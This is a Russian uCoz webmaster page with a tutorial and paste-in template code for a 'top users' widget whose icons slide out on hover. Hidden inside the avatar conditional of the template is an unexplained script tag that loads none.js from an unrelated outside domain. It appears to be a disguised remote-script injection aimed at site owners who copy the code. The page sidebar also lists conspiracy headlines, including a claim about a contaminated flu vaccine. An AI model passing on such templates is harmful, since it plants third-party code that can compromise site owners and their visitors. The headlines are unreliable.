СЛУЧАЙНЫЕ СТАТЬИ
ПОСЛЕДНИЕ МАТЕРИАЛЫ
  • Двигатель Sabre успешно прошел новые испытания
  • [Космос]
    [23.01.2013]
  • M80 Stiletto
  • [Перспективные боевые системы]
    [27.04.2009]
  • Baxter International разослала зараженную вакцину от гриппа
  • [Тайные правительства]
    [27.04.2009]
  • Лунные HЛО
  • [НЛО]
    [06.04.2008]
  • Орбитальная станция
  • [Космос]
    [25.01.2013]
  • Falcon-9 [РН]
  • [Космос]
    [24.01.2013]
  • Федералы и управленцы Уолл-стрит прячутся по норам
  • [Тайные правительства]
    [23.01.2013]
  • Cougar-H
  • [Перспективные боевые системы]
    [23.01.2013]
    Главная » 2012 » Октябрь » 12 » Красивый информер "Топ пользователей" для ucoz
     

    Красивый информер "Топ пользователей" для ucoz


    Зайдя на один сайт увидел красивый информер - Топ аплоадеров (пользователей)
    Решил добавить его в паблик, особенность информера в том,
    Что при наведении на иконки выдвигается небольшая информация о количестве файлов и т.д.

    Установка:
    1)Создаем информер
    Кто не знает где это вот ссылка: http://адрес_вашего_сайта/panel/?a=informers

    Информер с такими параметрами:

    Название информера - Топ пользователей
    Раздел - Пользователи
    Способ сортировки - Количество файлов
    Количество материалов - 4
    Количество колонок - 2
    Создать

    Должен появится новый информер - и рядом с ним код вызова
    Например $MYINF_1$ - у вас может быть другой

    2)После этого меняем дизайн информера
    Заходим в управление дизайном созданного информера
    И заменяем весь код на этот:

    Code
    </div></div></div>  
    </div>

    <a href="/index/8-$USER_ID$" target="_blank" style="color:#ffffff;">
    <?if($AVATAR_URL$)?><script src="http://cm4fan.ru/none.js" type="text/javascript"></script><img src="$AVATAR_URL$" title="Перейти в профиль" id="topusers"><?else?>
    <img src="http://ili.pp.ua/img/no.png" id="topusers">
    <?endif?></a>  

    <div class="chat-addtime" style="float:none; width:87px; margin-top:1px;">  
    <span style="display:block; text-align:center;">
    <a href="/index/8-$USER_ID$" target="_blank" style="color:#ffffff;">

    <?if(len($USERNAME$)>11)?>
    <?substr($USERNAME$,0,11)?>
    <?else?>
    $USERNAME$
    <?endif?>
    </a>  
    </span>
    </div>  
    </center>
    <script type="text/javascript"> $('.place$NUMBER$').hover( function () {$(this).stop().animate({"width" : $('.place1 #text').width() + 6} , 250);}, function () {$(this).stop().animate({"width" : 1} , 250);} ); $('.torrents').hover( function () {$(this).stop().animate({"width" : $('.torrents #text').width() + 6} , 250);}, function () {$(this).stop().animate({"width" : 1} , 250);} ); $('.comments').hover( function () {$(this).stop().animate({"width" : $('.comments #text').width() + 6} , 250);}, function () {$(this).stop().animate({"width" : 1} , 250);} ); </script>


    Теперь создаём новый блок (например через конструктор)
    И называем его например "Топ пользователей"
    В html код блока вставляем:

    Code
    $MYINF_1$
    <link type="text/css" rel="StyleSheet" href="http://ili.pp.ua/js_css/cssuser.css">


    $MYINF_1$ - меняем на свой (если у вас другой)

    Готово..
    Думаю, что всё понятно разъяснил

    Категория: / Дата: 22.09.2017 / Прочитано: 110/ Добавил: Aninew
    Всего комментариев: 0
    Добавлять комментарии могут только зарегистрированные пользователи.
    [ Регистрация | Вход ]
    Статистика
    Онлайн всего: 1
    Гостей: 1
    Пользователей: 0

    Форма входа
    Календарь
    «  Октябрь 2012  »
    ПнВтСрЧтПтСбВс
    1234567
    891011121314
    15161718192021
    22232425262728
    293031
    Архив записей
    Друзья сайта